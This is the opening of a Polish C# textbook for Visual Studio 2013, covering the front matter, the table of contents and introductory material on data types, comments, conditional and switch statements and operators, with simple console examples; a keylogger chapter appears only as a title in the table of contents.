Download as pdf or txt
Download as pdf or txt
You are on page 1of 201

Wszelkie prawa zastrzeżone.

Nieautoryzowane rozpowszechnianie całości


lub fragmentu niniejszej publikacji w jakiejkolwiek postaci jest zabronione.
Wykonywanie kopii metodą kserograficzną, fotograficzną, a także kopiowanie
książki na nośniku filmowym, magnetycznym lub innym powoduje naruszenie
praw autorskich niniejszej publikacji.

Wszystkie znaki występujące w tekście są zastrzeżonymi znakami firmowymi


bądź towarowymi ich właścicieli.

Autor oraz Wydawnictwo HELION dołożyli wszelkich starań, by zawarte


w tej książce informacje były kompletne i rzetelne. Nie biorą jednak żadnej
odpowiedzialności ani za ich wykorzystanie, ani za związane z tym ewentualne
naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION
nie ponoszą również żadnej odpowiedzialności za ewentualne szkody
wynikłe z wykorzystania informacji zawartych w książce.

Redaktor prowadzący: Michał Mrowiec

Projekt okładki: Studio Gravite / Olsztyn


Obarek, Pokoński, Pazdrijowski, Zaprucki

Fotografia na okładce została wykorzystana za zgodą Shutterstock.com

Wydawnictwo HELION
ul. Kościuszki 1c, 44-100 GLIWICE
tel. 32 231 22 19, 32 230 98 63
e-mail: helion@helion.pl
WWW: http://helion.pl (księgarnia internetowa, katalog książek)

Drogi Czytelniku!
Jeżeli chcesz ocenić tę książkę, zajrzyj pod adres
http://helion.pl/user/opinie/vs13ta_ebook
Możesz tam wpisać swoje uwagi, spostrzeżenia, recenzję.

ISBN: 978-83-283-1505-1

Copyright © Helion 2015

 Poleć książkę na Facebook.com  Księgarnia internetowa


 Kup w wersji papierowej  Lubię to! » Nasza społeczność
 Oceń książkę
Spis treści
Wstęp .............................................................................................. 7
Odkrywanie środowiska Visual Studio ............................................................................. 7
Rozdział 1. Język C# .......................................................................................... 9
1.1. Zmienne, stałe i typy danych ..................................................................................... 9
1.1.1. Typy proste ...................................................................................................... 9
1.1.2. Typy referencyjne ......................................................................................... 10
1.1.3. Typy nullable ................................................................................................ 11
1.1.4. Typy anonimowe ........................................................................................... 12
1.1.5. Zmienne i stałe .............................................................................................. 12
1.1.6. Typ strukturalny ............................................................................................ 13
1.1.7. Typ wyliczeniowy ......................................................................................... 13
1.1.8. Rzutowanie i konwersja typów ...................................................................... 13
1.2. Komentarze .............................................................................................................. 14
1.2.1. Komentarz blokowy ...................................................................................... 14
1.2.2. Komentarz liniowy ........................................................................................ 14
1.2.3. Komentarz XML ........................................................................................... 14
1.3. Instrukcja warunkowa .............................................................................................. 15
1.4. Instrukcja wyboru .................................................................................................... 17
1.5. Operatory ................................................................................................................. 18
1.5.1. Podstawowe ................................................................................................... 19
1.5.2. Jednoargumentowe ........................................................................................ 21
1.5.3. Mnożenie, dzielenie i modulo ....................................................................... 23
1.5.4. Przesunięcia ................................................................................................... 23
1.5.5. Relacje i sprawdzanie typów ......................................................................... 24
1.5.6. Równość i różność ........................................................................................ 25
1.5.7. Koniunkcja logiczna ...................................................................................... 25
1.5.8. Alternatywa wykluczająca logiczna .............................................................. 25
1.5.9. Alternatywa logiczna ..................................................................................... 25
1.5.10. Koniunkcja warunkowa ............................................................................... 26
1.5.11. Alternatywa warunkowa .............................................................................. 26
1.5.12. Operator warunkowy ................................................................................... 26
1.5.13. Przypisania .................................................................................................. 26
4 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

1.6. Pętle ......................................................................................................................... 28


1.6.1. Pętla do-while .............................................................................................. 28
1.6.2. Pętla for ....................................................................................................... 28
1.6.3. Pętla foreach ................................................................................................ 31
1.6.4. Pętla while ................................................................................................... 32
1.6.5. Kontrola przepływu ..................................................................................... 32
1.7. Tablice ..................................................................................................................... 35
1.7.1. Przekazywanie tablic jako argumentów metod ........................................... 36
1.7.2. Klasa System.Array ..................................................................................... 37
1.8. Metody ..................................................................................................................... 40
1.8.1. Deklaracja metod ......................................................................................... 41
1.8.2. Przekazywanie przez referencję lub przez wartość ..................................... 42
1.9. Wskaźniki ................................................................................................................ 42
1.9.1. Kod nienadzorowany (ang. unsafe code) ..................................................... 42
1.9.2. Typy wskaźnikowe ...................................................................................... 43
1.10. Klasy i obiekty ....................................................................................................... 44
1.10.1. Konstruktor i destruktor ............................................................................ 47
1.10.2. Dziedziczenie ............................................................................................ 48
1.10.3. Klasy zagnieżdżone ................................................................................... 49
1.10.4. Modyfikatory dostępu ............................................................................... 50
1.10.5. Wczesne i późne wiązanie ......................................................................... 52
1.11. Przeciążanie metod ................................................................................................ 53
1.12. Przeciążanie operatorów ........................................................................................ 54
1.12.1. Słowa kluczowe implicit i explicit ............................................................ 55
1.13. Składowe statyczne ................................................................................................ 57
1.14. Przestrzenie nazw .................................................................................................. 57
1.15. Właściwości, akcesor get i mutator set .................................................................. 60
1.16. Interfejsy ................................................................................................................ 60
1.16.1. Płytka i głęboka kopia obiektu .................................................................. 62
1.17. Indeksery ............................................................................................................... 64
1.18. Wielopostaciowość (polimorfizm) ......................................................................... 66
1.18.1. Składowe wirtualne ................................................................................... 68
1.18.2. Ukrywanie składowych klasy bazowej ...................................................... 69
1.18.3. Zapobieganie przesłanianiu wirtualnych składowych klasy pochodnej ..... 70
1.18.4. Dostęp do wirtualnych składowych klasy bazowej z klas pochodnych ..... 71
1.18.5. Przesłanianie metody ToString() ............................................................... 71
1.19. Delegaty, metody anonimowe i wyrażenia lambda ............................................... 72
1.19.1. Metody anonimowe ................................................................................... 73
1.19.2. Wyrażenia lambda ..................................................................................... 74
1.19.3. Delegat Func ............................................................................................. 74
1.20. Zdarzenia (ang. events) .......................................................................................... 75
1.21. Metody rozszerzające ............................................................................................ 75
1.22. Typy generyczne .................................................................................................... 77
1.22.1. Klasa generyczna Queue ........................................................................... 77
1.22.2. Klasa generyczna Stack ............................................................................. 78
1.22.3. Klasa generyczna LinkedList .................................................................... 79
1.22.4. Klasa generyczna List ............................................................................... 80
1.22.5. Klasa generyczna Dictionary ..................................................................... 81
1.22.6. Klasa generyczna SortedDictionary .......................................................... 83
1.22.7. Klasa generyczna KeyedCollection ........................................................... 85
1.22.8. Klasa generyczna SortedList ..................................................................... 88
Spis treści 5

1.23. Kontrawariancja i kowariancja .............................................................................. 90


1.24. Operator konwersji as ............................................................................................ 91
1.25. Obsługa wyjątków ................................................................................................. 91
1.25.1. Podsumowanie .......................................................................................... 92
1.26. Składnia async i await ........................................................................................... 93
1.27. Klasy abstrakcyjne i zapieczętowane (ang. sealed) ............................................... 93
Rozdział 2. Aplikacje dla Pulpitu ...................................................................... 95
2.1. Aplikacje konsolowe ............................................................................................... 95
2.1.1. Argumenty wiersza polecenia ....................................................................... 95
2.1.2. Przykład: kalkulator naukowy ....................................................................... 96
2.1.3. Przykład: system walki do gry RPG .............................................................. 99
2.2. Windows Forms ..................................................................................................... 103
2.2.1. Przegląd kontrolek ....................................................................................... 103
2.2.2. Własne kontrolki (ang. user controls) .......................................................... 107
2.2.3. Przykład: kalkulator .................................................................................... 108
2.2.4. Przykład: rejestrator dźwięku ...................................................................... 110
2.2.5. Przykład: szpieg klawiatury (keylogger) ..................................................... 111
2.3. Windows Presentation Foundation ........................................................................ 129
2.3.1. Język XAML ............................................................................................... 129
2.3.2. Przegląd kontrolek ....................................................................................... 129
Rozdział 3. Aplikacje dla Sklepu Windows ...................................................... 133
3.1. Przykładowa aplikacja: Cytat na dziś .................................................................... 133
Rozdział 4. Aplikacje dla Windows Phone ....................................................... 137
4.1. Kontrolka Hub ....................................................................................................... 137
4.2. Kontrolka Pivot ..................................................................................................... 138
4.3. Kontrolka Panorama .............................................................................................. 138
4.4. Przykład: Stoper .................................................................................................... 139
Rozdział 5. Aplikacje internetowe ASP.NET MVC ............................................ 143
5.1. Przegląd frameworka Bootstrap ............................................................................. 145
5.1.1. Podstawowy szablon ................................................................................... 145
5.1.2. Cytat blokowy ............................................................................................. 146
5.1.3. Kod inline .................................................................................................... 146
5.1.4. Wejście z klawiatury ................................................................................... 146
5.1.5. Blok kodu .................................................................................................... 147
5.1.6. Tabela z podświetlanymi wierszami ............................................................ 147
5.1.7. Prosty formularz .......................................................................................... 147
5.1.8. Przyciski ...................................................................................................... 148
5.1.9. Obrazki i miniatury ..................................................................................... 149
5.1.10. Stronicowanie ............................................................................................ 149
5.1.11. Etykiety ..................................................................................................... 149
5.1.12. Odznaki (ang. badges) ............................................................................... 150
5.1.13. Jumbotron .................................................................................................. 150
5.1.14. Powiadomienia .......................................................................................... 150
5.1.15. Pasek postępu ............................................................................................ 151
5.1.16. Panel .......................................................................................................... 152
Rozdział 6. LINQ ............................................................................................ 153
6.1. 65 przykładów LINQ ............................................................................................. 154
6.1.1. Restrykcja .................................................................................................... 154
6.1.2. Projekcja ...................................................................................................... 155
6.1.3. Dzielenie ..................................................................................................... 159
6 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

6.1.4. Kolejność ..................................................................................................... 161


6.1.5. Grupowanie ................................................................................................. 164
6.1.6. Zestawy ....................................................................................................... 165
6.1.7. Konwersje ................................................................................................... 166
6.1.8. Operacje elementarne .................................................................................. 167
6.1.9. Operatory generowania ............................................................................... 168
6.1.10. Kwantyfikatory .......................................................................................... 168
6.1.11. Operatory agregacji ................................................................................... 169
6.1.12. Różne ........................................................................................................ 171
6.1.13. Łączenia (ang. join) ................................................................................... 172
Rozdział 7. Zarabianie jako wolny strzelec ...................................................... 175
7.1. Rozliczanie dochodów z aplikacji mobilnych ........................................................ 177
Rozdział 8. FAQ ― najczęściej zadawane pytania ........................................... 179
8.1. Jak pobrać adres IP na podstawie nazwy hosta? .................................................... 179
8.2. Jak wysłać wiadomość e-mail? .............................................................................. 179
8.3. Jak wysłać plik na serwer FTP? ............................................................................. 180
8.4. Jak wywołać funkcję z kodu niezarządzanego? ..................................................... 181
8.5. Jak wykonywać operacje na dużych liczbach? ...................................................... 181
8.6. Jak wykonywać operacje na liczbach zespolonych? .............................................. 182
8.7. Jak kopiować katalogi? .......................................................................................... 182
8.8. Jak wylistować pliki w katalogu? .......................................................................... 183
8.9. Jak wylistować katalogi w podanej ścieżce? ......................................................... 184
8.10. Jak odczytać dane z pliku tekstowego? ................................................................ 185
8.11. Jak zapisać dane do pliku tekstowego? .............................................................. 185
8.12. Jak kompresować i dekompresować dane w formacie ZIP? ................................ 186
8.13. Jak stworzyć klucz w rejestrze? ........................................................................... 186
8.14. Jak odczytać wartość klucza w rejestrze? ............................................................ 187
8.15. Jak rzucać i łapać wyjątki? .................................................................................. 187
8.16. Jak zaszyfrować dane operatorem XOR? ............................................................ 188
8.17. Jak wyszukać pliki określonego typu? ................................................................. 188
Dodatek A Słowa kluczowe języka C# .............................................................. 191
Dodatek B Asembler IL (CIL, MSIL) ............................................................... 193
Skorowidz ................................................................................... 197
Wstęp
Książka, którą masz przed sobą, opisuje programowanie w języku C# z użyciem śro-
dowiska programistycznego Microsoft Visual Studio 2013. Pisząc kody programów,
korzystałem ze środowiska w wersji Express, gdyż jest ona darmowa i na pewno wy-
starcza do nauki programowania. Dziękuję, że wybrałeś moją książkę i zapraszam do
lektury!

Odkrywanie środowiska Visual Studio


Środowisko Microsoft Visual Studio 2013 Express jest podzielone na kilka wersji.
Wybór jednej z nich zależy od tego, jakiego rodzaju aplikacje chcemy tworzyć. Wersja
„for Web” służy do tworzenia aplikacji internetowych. Natomiast wersja „for Windows”
pozwala tworzyć aplikacje na smartfony z systemem Windows Phone oraz na kom-
putery i tablety z systemem Windows 8 lub 8.1. Pozostaje jeszcze wersja „for Desktop”,
która służy do tworzenia aplikacji dla Pulpitu w systemach Windows 7 i nowszych.

Nie będę opisywał, jak zainstalować środowisko, gdyż sądzę, że osoba, która chce pro-
gramować, powinna sama sobie radzić z instalacją programów ― na dodatek środo-
wisko ma bardzo prosty i przyjazny instalator.

Skróty klawiaturowe przydatne podczas pracy:


 F5 ― uruchom aplikację w trybie odpluskwiania (ang. debugging);
 Ctrl+S ― zapisz zmiany w kodzie na dysku komputera (warto często używać,
gdyż w przypadku awarii zasilania to, co napiszemy, może całkowicie zostać
utracone);
 Ctrl+K+D ― sformatuj kod (jest to bardzo przydatna opcja, gdy mamy
nierówne wcięcia i ogólnie źle sformatowany kod ― wtedy środowisko
automatycznie go sformatuje do czytelniejszej postaci).
8 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych
Rozdział 1.
Język C#

1.1. Zmienne, stałe i typy danych


Wykonywanie operacji na danych to podstawowe zadanie każdego programu. Za chwilę
dowiesz się, jak deklarować zmienne i stałe oraz jakie typy danych występują w języku C#.

1.1.1. Typy proste


Typy całkowitoliczbowe
Typy całkowitoliczbowe oraz ich zakresy zostały przedstawione w tabeli 1.1.

Tabela 1.1. Typy całkowite i ich zakresy


Typ Zakres Rozmiar
sbyte od –128 do 127 8-bitowa liczba całkowita ze znakiem
byte od 0 do 255 8-bitowa liczba całkowita bez znaku
char od U+0000 do U+ffff 16-bitowy znak Unicode
short od –32 768 do 32 767 16-bitowa liczba całkowita ze znakiem
ushort od 0 do 65 535 16-bitowa liczba całkowita bez znaku
int od –2 147 483 648 do 2 147 483 647 32-bitowa liczba całkowita ze znakiem
uint od 0 do 4 294 967 295 32-bitowa liczba całkowita bez znaku
long od –9 223 372 036 854 775 808 64-bitowa liczba całkowita ze znakiem
do 9 223 372 036 854 775 807
ulong od 0 do 18 446 744 073 709 551 615 64-bitowa liczba całkowita bez znaku
10 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Typy zmiennoprzecinkowe
Typy zmiennoprzecinkowe i ich zakresy zostały przedstawione w tabeli 1.2.

Tabela 1.2. Typy zmiennoprzecinkowe i ich zakresy


Typ Przybliżony zakres Precyzja
float od ±1.5e−45 do ±3.4e38 7 cyfr
double od ±5.0e−324 do ±1.7e308 15–16 cyfr

Typ decimal
Jest to typ 128-bitowy używany do operacji pieniężnych, gdyż ma większą precyzję
i mniejszy zakres niż typy zmiennoprzecinkowe (tabela 1.3).

Tabela 1.3. Typ decimal i jego zakres


Typ Przybliżony zakres Precyzja Typ w .NET
−28 28
decimal od ±1.0 × 10 do ±7.9 × 10 28–29 cyfr mantysy System.Decimal

Typ logiczny (bool)


Jest to typ, który przechowuje dwa rodzaje wartości: prawda (ang. true) i fałsz (ang.
false). Typ ten jest aliasem dla System.Boolean.

1.1.2. Typy referencyjne


Klasa
Klasę deklarujemy, używając słowa kluczowego class. Przykład:
class TestClass
{
//Metody, właściwości, pola, zdarzenia, delegaty
//i klasy zagnieżdżone deklarujemy tutaj
}

Klasa może zawierać w sobie:


 konstruktory,
 destruktory,
 stałe,
 pola,
 metody,
 właściwości,
 indeksery,
Rozdział 1.  Język C# 11

 operatory,
 zdarzenia,
 delegaty,
 klasy zagnieżdżone,
 interfejsy,
 struktury.

Więcej o klasach będzie w dalszej części książki, poświęconej programowaniu zo-


rientowanemu obiektowo.

Interfejs
Interfejs zawiera w sobie sygnaturę metod, delegat, właściwości, indekserów i zdarzeń.
Może być zawarty w przestrzeni nazw lub klasie i dziedziczyć z jednego lub wielu
interfejsów bazowych. Więcej o interfejsach w dalszej części książki.

Delegaty
Deklaracja przykładowej delegaty prezentuje się następująco:
public delegate void TestDelegate(string message);

Delegaty są używane do kapsułkowania nazwanych lub anonimowych metod. Są po-


dobne do wskaźników funkcji w języku C, ale bezpieczeniejsze.

Obiekt
Jest to alias dla System.Object. Wszystkie typy pośrednio lub bezpośrednio dziedziczą
z obiektu.

Napis
Jest to sekwencja znaków Unicode. Typ ten jest aliasem dla System.String. Chociaż
to typ referencyjny, napisy możemy porównywać, używając operatorów == (równe)
oraz != (różne).

1.1.3. Typy nullable


Typy określane jako nullable są to typy dopuszczające wartości zerowe (dokładnie
wartości null). Przykładowo typ liczby całkowitej int przyjmuje jako wartości liczby
z określonego zakresu. Jeśli chcemy mieć możliwość przypisania mu wartości null,
to deklaracja zmiennej takiego typu może wyglądać następująco:
int? num = null;
12 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Warta uwagi jest właściwość HasValue, która przechowuje informację, czy dana zmienna
ma wartość (różną od null), czy może nie ma przypisanej wartości (zawiera null).
//Czy zmienna num ma jakąś wartość?
if(num.HasValue == false)
{
//Wykonaj, jeśli zmienna num nie ma wartości (ma wartość null)
Console.WriteLine("num == null");
}
else
{
//Wykonaj, jeśli zmienna num ma jakąś wartość (wartość różną od null)
Console.WriteLine("num == "+num.ToString());
}

1.1.4. Typy anonimowe


Typy anonimowe pozwalają przypisać do obiektu po raz pierwszy jakieś dane bez
jawnego definiowania typu. Używa się do tego słowa kluczowego var.

Przykład użycia:
var number = 1; //number jest typu int
var text = "Witaj!"; //text jest typu string
var a1 = new int[3] { 1, 2, 3 }; //a1 jest tablicą liczb całkowitych (int)
var products = new List<string>() { "Produkt 1", "Produkt 2" }; //products jest listą napisów

1.1.5. Zmienne i stałe


Zmienne to konstrukcje programistyczne służące do przechowywania różnych danych
potrzebnych podczas działania programu. Każda zmienna ma swój typ i nazwę. Teraz
dla przykładu zadeklarujemy zmienną typu całkowitoliczbowego o nazwie Number:
int Number;

Zmiennej możemy przypisać jakąś wartość za pomocą operatora przypisania (znak =):
Number = 100;

Można także od razu przy deklaracji przypisać zmiennej wartość, co nazywa się
inicjalizacją zmiennej:
int Number = 100;

Jeżeli chcemy zadeklarować kilka zmiennych tego samego typu, piszemy:


int Num1, Num2, Num3;

Część tych zmiennych (lub wszystkie) możemy zainicjalizować daną wartością, na


przykład:
int Num1 = 100, Num2, Num3 = 200;
Rozdział 1.  Język C# 13

Aby wyzerować kilka zmiennych jednocześnie, użyjmy wielokrotnego przypisania:


a = b = c = 0;

Ważną rzeczą jest nazywanie zmiennych. Nazwa powinna odzwierciedlać znaczenie


zmiennej, na przykład jeżeli mamy zmienną określającą liczbę studentów, to nazwijmy
ją numberOfStudents lub po polsku liczbaStudentow. Przyjęło się także, aby nazwy
zmiennych rozpoczynać od małej litery, a kolejne słowa w zmiennych od dużej. Nazwa
zmiennej może zawierać małe i duże litery, znak podkreślenia oraz cyfry, ale nie może
się zaczynać od cyfry.

Istnieje też coś takiego jak stałe, czyli wartości, które nie mogą zostać zmienione.
Deklarujemy je, używając słowa kluczowego const:
const int a = 100;
a = 50; //Błąd! Nie można modyfikować stałej!

Stałe mogą być tylko typy wbudowane. Stałe nie mogą być metody, właściwości ani
zdarzenia.

1.1.6. Typ strukturalny


Jest to typ, który służy do kapsułkowania powiązanych ze sobą zmiennych. Deklaracja
przykładowej struktury prezentuje się następująco:
public struct Book
{
public decimal price;
public string title;
public string author;
}

1.1.7. Typ wyliczeniowy


Służy do deklarowania grupy nazwanych stałych powiązanych ze sobą. Możemy dla
przykładu utworzyć typ wyliczeniowy reprezentujący dni tygodnia:
enum Days {Sat, Sun, Mon, Tue, Wed, Thu, Fri};

Poszczególne stałe są automatycznie numerowane liczbami całkowitymi (od zera).


Jednak można zmienić numerację, żeby zaczynała się na przykład od 1, wtedy piszemy:
enum Days {Sat=1, Sun, Mon, Tue, Wed, Thu, Fri};

1.1.8. Rzutowanie i konwersja typów


Język C# bardzo dokładnie sprawdza zgodność typów zmiennych. Dlatego na przykład
nie możemy zmiennej typu int przypisać wartości typu double, musimy rzutować.
14 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Rzutowanie ma następujący schemat:


var1 = (type) var2;

Jeżeli chcemy rzutować double na int piszemy:


double a = 2.99; //zmienna typu double o wartości 2.99
int b; //zmienna typu int
b = (int) a; //przypisanie z rzutowaniem na int

Oczywiście takie rzutowanie jak powyżej powoduje utracenie tego, co jest po kropce.

A co, jeśli chcemy zamienić liczbę na napis? Używamy metody ToString():


int i=1;
string s = i.ToString();

1.2. Komentarze
1.2.1. Komentarz blokowy
Komentarz blokowy zawieramy pomiędzy znakami /* oraz */. Tekst znajdujący się
pomiędzy tymi znakami jest ignorowany podczas kompilacji. Komentarzy blokowych
nie można zagnieżdżać (umieszczać jednego w drugim).

1.2.2. Komentarz liniowy


Komentarz liniowy zaczyna się od znaków // i kończy wraz z końcem linii. Tekst od
znaków // do końca linii jest pomijany przez kompilator.

1.2.3. Komentarz XML


Pozwala wygenerować dokumentację kodu na podstawie znaczników XML. Komentarz
XML zaczynamy trzema ukośnikami i używamy w nim tagów XML.

Dostępne znaczniki XML przedstawia tabela 1.4.

Przykładowy komentarz XML:


///<summary>
///Ta klasa wykonuje bardzo ważną funkcję
///</summary>
public class MyClass{}

Jeżeli chcesz wygenerować dokumentację XML dla swojego programu, to dodaj do


opcji kompilatora parametr /doc, na przykład:
/doc:filename.xml
Rozdział 1.  Język C# 15

Tabela 1.4. Znaczniki XML


Tag Opis
<c> Oznacza tekst jako kod
<code> Oznacza kilkuliniowy tekst jako kod
<example> Opis przykładowego kodu
<exception> Pozwala określić rzucane wyjątki
<include> Pozwala dołączyć plik z komentarzami
<list> Tworzy listę wypunktowaną
<para> Paragraf
<param> Używane przy opisywaniu parametrów metody
<paramref> Referencja do parametru
<permission> Pozwala opisać dostęp do części na przykład klasy
<remarks> Opisuje typ
<returns> Opisuje wartość zwracaną
<see> Tworzy link
<seealso> Odwołuje się do sekcji Zobacz także
<summary> Opisuje typ obiektu
<typeparam> Opisuje typ parametru
<typeparamref> Opisuje typ elementu
<value> Opisuje właściwość

1.3. Instrukcja warunkowa


Instrukcja if wybiera kod do wykonania, zależnie od logicznej wartości podanego wy-
rażenia. Składnia instrukcji if prezentuje się następująco:
if (wyrażenie)
kod_1
[else
kod_2]

Jeżeli wyrażenie jest prawdziwe, to wykonany zostanie kod_1, w przeciwnym wypadku


― kod_2. Jeżeli kod_1 lub kod_2 zawiera więcej niż jedną instrukcję, ujmujemy te
instrukcje w blok { }.

Spójrz na poniższy przykład:


if (x > 10)
if (y > 20)
Console.Write("kod_1");
else
Console.Write("kod_2");
16 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

W tym przykładzie na konsolę wypisany zostanie napis kod_2, jeżeli warunek y > 20
będzie miał wartość fałsz. Jeżeli chcesz uzależnić kod_2 od warunku x > 10, użyj
klamer:
if (x > 10)
{
if (y > 20)
Console.Write("kod_1");
}
else
Console.Write("kod_2");

W powyższym kodzie wyświetlony zostanie napis kod_2, gdy warunek x > 10 będzie
miał wartość fałsz.

Jeżeli w instrukcji if sprawdzamy wartość wyrażenia typu logicznego, piszemy:


using System;

class Program
{
static void Main(string[] args)
{
bool b = true;

if (b == true)
Console.WriteLine("b jest prawdą");
else
Console.WriteLine("b jest fałszem");

}
}

co jest równoważne skróconemu zapisowi:


using System;

class Program
{
static void Main(string[] args)
{
bool b = true;

if (b)
Console.WriteLine("b jest prawdą");
else
Console.WriteLine("b jest fałszem");

}
}

Instrukcje warunkowe możemy dodatkowo zagnieżdżać w następujący sposób:


if (wyrażenie_1)
kod_1;
else if (wyrażenie _2)
kod _2;
else if (wyrażenie _3)
kod _3;
Rozdział 1.  Język C# 17

...
else
kod _n;

Możemy dzięki temu sprawdzić kilka warunków i dla każdego z nich wykonać od-
powiednie instrukcje programu.

Jest jeszcze jedna rzecz do opisania. Chodzi mianowicie o sprawdzenie kilku wyrażeń
w jednej instrukcji if. Można wtedy użyć operatorów takich jak: && (koniunkcja), ||
(alternatywa) lub ! (negacja). Spójrz na poniższy przykład:
using System;

class Program
{
static void Main(string[] args)
{
int i = 57;
bool b = true;
if (i > 0 && i < 100)
Console.WriteLine("i jest z przedziału 0 do 100");
i = -4;
if (i == 0 || i < 0)
Console.WriteLine("i jest równe 0 lub mniejsze od zera");
if (!b == false)
Console.WriteLine("b jest prawdą");

}
}

1.4. Instrukcja wyboru


Instrukcja ta służy do obsługi wielokrotnego wyboru; przekazuje sterowanie do jed-
nego z miejsc określonych przez case, jak w poniższym przykładzie:
string s = Console.ReadLine(); //Wczytaj linię tekstu z konsoli
int n = int.Parse(s); //Przekonwertuj tekst na liczbę
switch (n)
{
case 1: //Jeżeli n == 1, wykonaj
Console.WriteLine("Wybór 1");
break;
case 2: //Jeżeli n == 2, wykonaj
Console.WriteLine("Wybór 2");
break;
case 3: //Jeżeli n == 3, wykonaj
Console.WriteLine("Wybór 3");
break;
default:
Console.WriteLine("Wybór domyślny");
break;
}
18 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Najpierw wczytujemy linię tekstu z konsoli do zmiennej s typu string. Następnie


konwertujemy zmienną s na liczbę całkowitą. Dalej następuje sprawdzanie wartości n
i wykonywanie odpowiedniego kodu po słowie case. Słowo break przerywa działanie
instrukcji switch i wychodzi poza tę instrukcję. Zamiast break możemy też użyć in-
strukcji goto, która przekieruje kontrolę do określonego miejsca, jak w przykładzie
poniżej:
using System;

class Program
{
static void Main(string[] args)
{
Console.WriteLine("Kawa: 1=Mała 2=Średnia 3=Duża");
Console.Write("Twój wybór: ");
string s = Console.ReadLine();
int n = int.Parse(s);
int cost = 0;
switch (n)
{
case 1:
cost += 25;
break;
case 2:
cost += 25;
goto case 1;
case 3:
cost += 50;
goto case 1;
default:
Console.WriteLine("Błędny wybór. Wybierz 1, 2 lub 3.");
break;
}
if (cost != 0)
{
Console.WriteLine("Proszę wrzucić {0} złotych monet.", cost);
}
Console.WriteLine("Dziękuję.");
}
}

1.5. Operatory
Język C# dostarcza zestaw operatorów, które są symbolami wykonującymi określone
operacje w wyrażeniach. Dodatkowo wiele operatorów może być przeciążonych dla
typów zdefiniowanych przez programistę. Istnieje też coś takiego jak priorytet ope-
ratora, który określa, jaki operator ma pierwszeństwo przed innym. Niżej opisane
operatory zostały ułożone od najwyższego priorytetu do najniższego.
Rozdział 1.  Język C# 19

1.5.1. Podstawowe
Operator x.y
Operator kropki jest używany do uzyskiwania dostępu do składowych typu lub prze-
strzeni nazw. Na przykład często używa się go, aby mieć dostęp do metod pochodzących
z bibliotek klas:
//Klasa Console jest w przestrzeni nazw System
System.Console.WriteLine("witaj");

Operator ()
Operator używany do określenia kolejności wykonywania działań w wyrażeniach,
wywoływania funkcji, ale także do rzutowania typów, na przykład:
double x = 1234.7;
int a;
a = (int)x; //rzutowanie typu double na typ int

Operator ten nie może być przeciążony.

Operator a[x]
Operator używany przy tablicach, indekserach i atrybutach. Może być także używany
do dostępu do wskaźników. Typ tablicy poprzedzamy znakami [ ]:
int[] t; //tablica liczb typu int
t = new int[10]; //utwórz tablicę 10-elementową

Jeżeli chcemy mieć dostęp do elementu tablicy, to podajemy jego indeks w nawiasach
kwadratowych:
t[3] = 7; //Element o indeksie 3 przyjmuje wartość 7

Operator ++
Operator inkrementacji. Zwiększa wartość operandu o jeden. Może występować przed
operandem (inkrementacja prefiksowa) lub po operandzie (inkrementacja postfiksowa).
Oto przykład:
using System;
class MainClass
{
static void Main()
{
double x;
x = 1.5;
Console.WriteLine(++x);
x = 1.5;
Console.WriteLine(x++);
Console.WriteLine(x);
}
}
20 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Wyjście przykładowego programu:


2.5
1.5
2.5

Operator --
Operator dekrementacji. Zmniejsza wartość operandu o jeden. Tak jak operator in-
krementacji, może być prefiksowy lub postfiksowy. Na przykład:
using System;
class MainClass
{
static void Main()
{
double x;
x = 1.5;
Console.WriteLine(--x);
x = 1.5;
Console.WriteLine(x--);
Console.WriteLine(x);
}
}

Wyjście:
0.5
1.5
0.5

Operator new
Używa się go do tworzenia obiektów i wywoływania konstruktorów:
Class1 object1 = new Class1(); //tworzy obiekt object1 klasy Class1

Operator ten jest także używany do wywoływania domyślnych konstruktorów typów:


int i = new int();

Jest to równoważne zapisowi:


int i = 0;

Operator typeof
Zwraca typ obiektu podanego za parametr, na przykład:
System.Type type = typeof(int);

Operator checked
Pozwala sprawdzić, czy nastąpiło przepełnienie przy operacjach arytmetycznych i kon-
wersjach.
Rozdział 1.  Język C# 21

Operator unchecked
Pozwala sprawdzić, czy nastąpiło przepełnienie przy operacjach arytmetycznych i konwer-
sjach. Ignoruje przepełnienie.

Operator ->
Operator ten jest używany do dereferencji i do uzyskiwania dostępu do składowych. Ope-
rator ten może być użyty tylko w kodzie niezarządzanym. Przykład dla tego operatora:
using System;
struct Point
{
public int x, y;
}

class MainClass
{
unsafe static void Main()
{
Point pt = new Point();
Point* pp = &pt;
pp->x = 123;
pp->y = 456;
Console.WriteLine ( "{0} {1}", pt.x, pt.y );
}
}

Więcej o wskaźnikach i kodzie nienadzorowanym w dalszej części książki.

1.5.2. Jednoargumentowe
Operator +
Operator ten jest używany do określenia znaku liczby. Jest też jednocześnie operato-
rem dodawania. Wartość operatora + i operandu jest po prostu wartością operandu.
Operator ten jest też używany do łączenia dwóch napisów.
Przykład:
using System;
class MainClass
{
static void Main()
{
Console.WriteLine(+5); //znak plus
Console.WriteLine(5 + 5); //dodawanie
Console.WriteLine(5 + .5); //dodawanie
Console.WriteLine("5" + "5"); //łączenie napisów
Console.WriteLine(5.0 + "5"); //łączenie napisów
//Zauważ automatyczną konwersję z double na typ string
}
}
22 Visual Studio 2013. Tworzenie aplikacji desktopowych, mobilnych i internetowych

Operator -
Operator ten jest używany do określenia liczby ujemnej. Używa się go także do
odejmowania i usuwania delegat. Można go także przeciążyć.

Operator !
Operator negacji. Używany dla typów logicznych. Zwraca fałsz, jeżeli operand miał
wartość prawda, i odwrotnie.

Operator ~
Odwraca bity w podanych operandzie. Na przykład:
using System;
class MainClass
{
static void Main()
{
int[] values = { 0, 0x111, 0xfffff, 0x8888, 0x22000022};
foreach (int v in values)
{
Console.WriteLine("~0x{0:x8} = 0x{1:x8}", v, ~v);
}
}
}

Wyjście programu:
~0x00000000 = 0xffffffff
~0x00000111 = 0xfffffeee
~0x000fffff = 0xfff00000
~0x00008888 = 0xffff7777
~0x22000022 = 0xddffffdd

Operator &
